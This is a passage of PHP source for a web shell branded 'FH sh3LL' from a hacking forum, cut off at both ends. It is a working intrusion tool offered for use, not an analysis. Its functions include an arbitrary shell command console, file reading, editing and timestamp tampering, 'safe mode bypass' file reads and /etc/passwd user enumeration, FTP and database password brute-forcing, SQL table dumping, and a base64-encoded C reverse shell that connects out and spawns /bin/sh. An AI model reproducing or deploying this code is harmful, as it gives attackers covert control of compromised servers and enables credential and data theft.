            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
        $l = $l?0:1;
    }
    echo '<tr><td colspan=5>
    <input type=hidden name=a value=\'FilesMan\'>
    <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
    <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
    if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
    echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="0"></td></tr>
    </form></table></div>';
    printFooter();
}

function actionStringTools() {
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
    
    if(isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        if(function_exists($_POST['p1']))
            echo $_POST['p1']($_POST['p2']);
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();
    echo '<h1>String conversions</h1><div class=content>';
    $stringTools = array(
        'Base64 encode' => 'base64_encode',
        'Base64 decode' => 'base64_decode',
        'Url encode' => 'urlencode',
        'Url decode' => 'urldecode',
        'Full urlencode' => 'full_urlencode',
        'md5 hash' => 'md5',
        'sha1 hash' => 'sha1',
        'crypt' => 'crypt',
        'CRC32' => 'crc32',
        'ASCII to HEX' => 'ascii2hex',
        'HEX to ASCII' => 'hex2ascii',
        'HEX to DEC' => 'hexdec',
        'HEX to BIN' => 'hex2bin',
        'DEC to HEX' => 'dechex',
        'DEC to BIN' => 'decbin',
        'BIN to HEX' => 'bin2hex',
        'BIN to DEC' => 'bindec',        
        'String to lower case' => 'strtolower',
        'String to upper case' => 'strtoupper',
        'Htmlspecialchars' => 'htmlspecialchars',
        'String length' => 'strlen',
    );
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach($stringTools as $k => $v)
        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
    if(!empty($_POST['p1'])) {
        if(function_exists($_POST['p1']))
        echo htmlspecialchars($_POST['p1']($_POST['p2']));
    }
    echo"</pre></div>";
    printFooter();
}

function actionFilesTools() {
    if( isset($_POST['p1']) )
        $_POST['p1'] = urldecode($_POST['p1']);
    if(@$_POST['p2']=='download') {
        if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: ".$type);
            }
            $fp = @fopen($_POST['p1'], "r");
            if($fp) {
                while(!@feof($fp))
                    echo @fread($fp, 1024);
                fclose($fp);
            }
        } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {

        }
        exit;
    }
    if( @$_POST['p2'] == 'mkfile' ) {
        if(!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    printHeader();
    echo '<h1>File tools</h1><div class=content>';
    if( !file_exists(@$_POST['p1']) ) {
        echo 'File not exists';
        printFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    $gid = @posix_getgrgid(@fileowner($_POST['p1']));
    echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
    if( empty($_POST['p2']) )
        $_POST['p2'] = 'view';
    if( is_file($_POST['p1']) )
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    else
        $m = array('Chmod', 'Rename', 'Touch');
    foreach($m as $v)
        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
    echo '<br><br>';
    switch($_POST['p2']) {
        case 'view':
            echo '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if( is_readable($_POST['p1']) ) {
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $code = highlight_file($_POST['p1'],true);
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
            }
            break;
        case 'chmod':
            if( !empty($_POST['p3']) ) {
                $perms = 0;
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
                if(!@chmod($_POST['p1'], $perms))
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                else
                    die('<script>g(null,null,null,null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if( !is_writable($_POST['p1'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if( !empty($_POST['p3']) ) {
                @file_put_contents($_POST['p1'],$_POST['p3']);
                echo 'Saved!<br><script>document.mf.p3.value="";</script>';
            }
            echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
            $fp = @fopen($_POST['p1'], 'r');
            if($fp) {
                while( !@feof($fp) )
                    echo htmlspecialchars(@fread($fp, 1024));
                @fclose($fp);
            }
            echo '</textarea><input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>','','');
            $len = strlen($c);
            for ($i=0; $i<$len; ++$i) {
                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
                switch ( ord($c[$i]) ) {
                    case 0:  $h[2] .= ' '; break;
                    case 9:  $h[2] .= ' '; break;
                    case 10: $h[2] .= ' '; break;
                    case 13: $h[2] .= ' '; break;
                    default: $h[2] .= $c[$i]; break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
                    $h[1] .= '<br>';
                    $h[2] .= "
";
                }
             }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
            break;
        case 'rename':
            if( !empty($_POST['p3']) ) {
                if(!@rename($_POST['p1'], $_POST['p3']))
                    echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
                else
                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
            }
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
            break;
        case 'touch':
            if( !empty($_POST['p3']) ) {
                $time = strtotime($_POST['p3']);
                if($time) {
                    if(@touch($_POST['p1'],$time,$time))
                        die('<script>g(null,null,null,null,"")</script>');
                    else {
                        echo 'Fail!<script>document.mf.p3.value="";</script>';
                    }
                } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
            }
            echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
            break;
        case 'mkfile':
            
            break;
    }
    echo '</div>';
    printFooter();
}

function actionSafeMode() {
    $temp='';
    ob_start();
    switch($_POST['p1']) {
        case 1:
            $temp=@tempnam($test, 'cx');
            if(@copy("compress.zlib://".$_POST['p2'], $temp)){
                echo @file_get_contents($temp);
                unlink($temp);
            } else
                echo 'Sorry... Can\'t open file';
            break;
        case 2:
            $files = glob($_POST['p2'].'*');
            if( is_array($files) )
                foreach ($files as $filename)
                    echo $filename."
";
            break;
        case 3:
            $ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
            curl_exec($ch);
            break;
        case 4:
            ini_restore("safe_mode");
            ini_restore("open_basedir");
            include($_POST['p2']);
            break;
        case 5:
            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                $uid = @posix_getpwuid($_POST['p2']);
                if ($uid)
                    echo join(':',$uid)."
";
            }
            break;
        case 6:
            if(!function_exists('imap_open'))break;
            $stream = imap_open($_POST['p2'], "", "");
            if ($stream == FALSE)
                break;
            echo imap_body($stream, 1);
            imap_close($stream);
            break;
    }
    $temp = ob_get_clean();
    printHeader();
    echo '<h1>Safe mode bypass</h1><div class=content>';
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
    if($temp)
        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
    echo '</div>';
    printFooter();
}

function actionConsole() {
    if(isset($_POST['ajax'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        echo "document.cf.cmd.value='';
";
        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"

	\'"));
        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
            if(@chdir($match[1])) {
                $GLOBALS['cwd'] = @getcwd();
                echo "document.mf.c.value='".$GLOBALS['cwd']."';";
            }
        }
        echo "document.cf.output.value+='".$temp."';";
        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "
", $temp;
        exit;
    }
    printHeader();

echo '<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
        cur--;
        if(cur>=0)
            document.cf.cmd.value = cmds[cur];
        else
            cur++;
    } else if(n == 40) {
        cur++;
        if(cur < cmds.length)
            document.cf.cmd.value = cmds[cur];
        else
            cur--;
    }
}
function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
}
</script>';
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
    foreach($GLOBALS['aliases'] as $n => $v) {
        if($v == '') {
            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
            continue;
        }
        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
    if(!empty($_POST['p1'])) {
        echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
    }
    echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
    echo '</form></div><script>document.cf.cmd.focus();</script>';
    printFooter();
}

function actionLogout() {
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo '<body bgcolor="#444"><center><img src="http://img9.imageshack.us/img9/6521/logodsz.png" alt="FH"><br><br><h1><font color="white">Visita-nos: <a href="http://www.forum-hacker.com.br/forum">Forum-Hacker</a></font></h1></center></body>';
	
}

function actionSelfRemove() {
    printHeader();
    if($_POST['p1'] == 'yes') {
        if(@unlink(SELF_PATH))
            die('FH sh3LL foi removida com sucesso!');
        else
            echo 'Erro!';
    }
    echo '<h1>FH sh3LL: </h1><div class=content>Queres mesmo remover a shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    printFooter();
}

function actionBruteforce() {
    printHeader();
    if( isset($_POST['proto']) ) {
        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
        if( $_POST['proto'] == 'ftp' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $fp = @ftp_connect($ip, $port?$port:21);
                if(!$fp) return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif( $_POST['proto'] == 'mysql' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif( $_POST['proto'] == 'pgsql' ) {
            function bruteForce($ip,$port,$login,$pass) {
                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
                $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                    }
                    if(@$_POST['reverse']) {
                        $tmp = "";
                        for($i=strlen($line[0])-1; $i>=0; --$i)
                            $tmp .= $line[0][$i];
                        ++$attempts;
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                            $success++;
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                        }
                    }
                }
        } elseif($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                    }
                }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
    }
    echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
        .'<span>Server:port</span></td>'
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
        .'<tr><td><span>Brute type</span></td>'
        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
        .'<td><input type=text name=login value="Team FH"></td></tr>'
        .'<tr><td><span>Dictionary</span></td>'
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
    echo '</div><br>';
    printFooter();
}

function actionSql() {
    class DbClass {
        var $type;
        var $link;
        var $res;
        function DbClass($type)    {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname){
            switch($this->type)    {
                case 'mysql':
                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if(!$host[1]) $host[1]=5432;
                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                    break;
            }
            return false;
        }
        function selectdb($db) {
            switch($this->type)    {
                case 'mysql':
                    if (@mysql_select_db($db))return true;
                    break;
            }
            return false;
        }
        function query($str) {
            switch($this->type) {
                case 'mysql':
                    return $this->res = @mysql_query($str);
                    break;
                case 'pgsql':
                    return $this->res = @pg_query($this->link,$str);
                    break;
            }
            return false;
        }
        function fetch() {
            $res = func_num_args()?func_get_arg(0):$this->res;
            switch($this->type)    {
                case 'mysql':
                    return @mysql_fetch_assoc($res);
                    break;
                case 'pgsql':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return false;
        }
        function listDbs() {
            switch($this->type)    {
                case 'mysql':
                    return $this->res = @mysql_list_dbs($this->link);
                break;
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database");
                break;
            }
            return false;
        }
        function listTables() {
            switch($this->type)    {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                break;
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
                break;
            }
            return false;
        }
        function error() {
            switch($this->type)    {
                case 'mysql':
                    return @mysql_error($this->link);
                break;
                case 'pgsql':
                    return @pg_last_error($this->link);
                break;
            }
            return false;
        }
        function setCharset($str) {
            switch($this->type)    {
                case 'mysql':
                    if(function_exists('mysql_set_charset'))
                        return @mysql_set_charset($str, $this->link);
                    else
                        $this->query('SET CHARSET '.$str);
                    break;
                case 'mysql':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return false;
        }
        function dump($table) {
            switch($this->type)    {
                case 'mysql':
                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
                    $create = mysql_fetch_array($res);
                    echo $create[1].";

";
                    $this->query('SELECT * FROM `'.$table.'`');
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "'".@mysql_real_escape_string($v)."'";
                            $columns[] = "`".$k."`";
                        }
                    echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                    }
                break;
                case 'pgsql':
                    $this->query('SELECT * FROM '.$table);
                    while($item = $this->fetch()) {
                        $columns = array();
                        foreach($item as $k=>$v) {
                            $item[$k] = "'".addslashes($v)."'";
                            $columns[] = $k;
                        }
                    echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                    }
                break;
            }
            return false;
        }
    };
    $db = new DbClass(@$_POST['type']);
    if(@$_POST['p2']=='download') {
        ob_start("ob_gzhandler", 4096);
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        $db->selectdb($_POST['sql_base']);
        header("Content-Disposition: attachment; filename=dump.sql");
        header("Content-Type: text/plain");
        foreach($_POST['tbl'] as $v)
                $db->dump($v);
        exit;
    }
    printHeader();
    echo '<h1>Sql browser</h1><div class=content>
    <form name="sf" method="post">
        <table cellpadding="2" cellspacing="0">
            <tr>
                <td>Type</td>
                <td>Host</td>
                <td>Login</td>
                <td>Password</td>
                <td>Database</td>
                <td></td>
            </tr>
            <tr>
                <input type=hidden name=a value=Sql>
                <input type=hidden name=p1 value=\'query\'>
                <input type=hidden name=p2>
                <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
                <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
                <td>
                    <select name=\'type\'>
                        <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
                        <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
                    </select></td>
                <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
                <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
                <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
                <td>';
    $tmp = "<input type=text name=sql_base value=''>";
    if(isset($_POST['sql_host'])){
        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
            switch($_POST['charset']) {
                case "Windows-1251": $db->setCharset('cp1251'); break;
                case "UTF-8": $db->setCharset('utf8'); break;
                case "KOI8-R": $db->setCharset('koi8r'); break;
                case "KOI8-U": $db->setCharset('koi8u'); break;
                case "cp866": $db->setCharset('cp866'); break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
            }
            echo '</select>';
        }
        else echo $tmp;
    }else
        echo $tmp;
    echo '</td>
                <td><input type=submit value=">>"></td>
            </tr>
        </table>
        <script>
            function st(t,l) {
                document.sf.p1.value = \'select\';
                document.sf.p2.value = t;
                if(l!=null)document.sf.p3.value = l;
                document.sf.submit();
            }
            function is() {
                for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
                    document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
            }
        </script>';
    if(isset($db) && $db->link){
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if(!empty($_POST['sql_base'])){
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while($item = $db->fetch($tbls_res)) {
                    list($key, $value) = each($item);
                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
                if(@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
                    $num = $db->fetch();
                    $num = $num['n'];
                    echo "<span>".$_POST['p2']."</span> ($num) ";
                    for($i=0;$i<($num/30);$i++)
                        if($i != (int)$_POST['p3'])
                            echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
                        else
                            echo ($i+1)," ";
                    if($_POST['type']=='pgsql')
                        $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
                    else
                        $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
                    echo "<br><br>";
                }
                if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
                    $db->query(@$_POST['p3']);
                    if($db->res !== false) {
                        $title = false;
                        echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
                        $line = 1;
                        while($item = $db->fetch())    {
                            if(!$title)    {
                                echo '<tr>';
                                foreach($item as $key => $value)
                                    echo '<th>'.$key.'</th>';
                                reset($item);
                                $title=true;
                                echo '</tr><tr>';
                                $line = 2;
                            }
                            echo '<tr class="l'.$line.'">';
                            $line = $line==1?2:1;
                            foreach($item as $key => $value) {
                                if($value == null)
                                    echo '<td><i>null</i></td>';
                                else
                                    echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
                            }
                            echo '</tr>';
                        }
                        echo '</table>';
                    } else {
                        echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
                    }
                }
                echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            if(@$_POST['p1'] == 'loadfile') {
                $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
                $file = $db->fetch();
                echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
            }
    }
    echo '</div>';
    printFooter();
}

function actionNetwork() {
    printHeader();
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
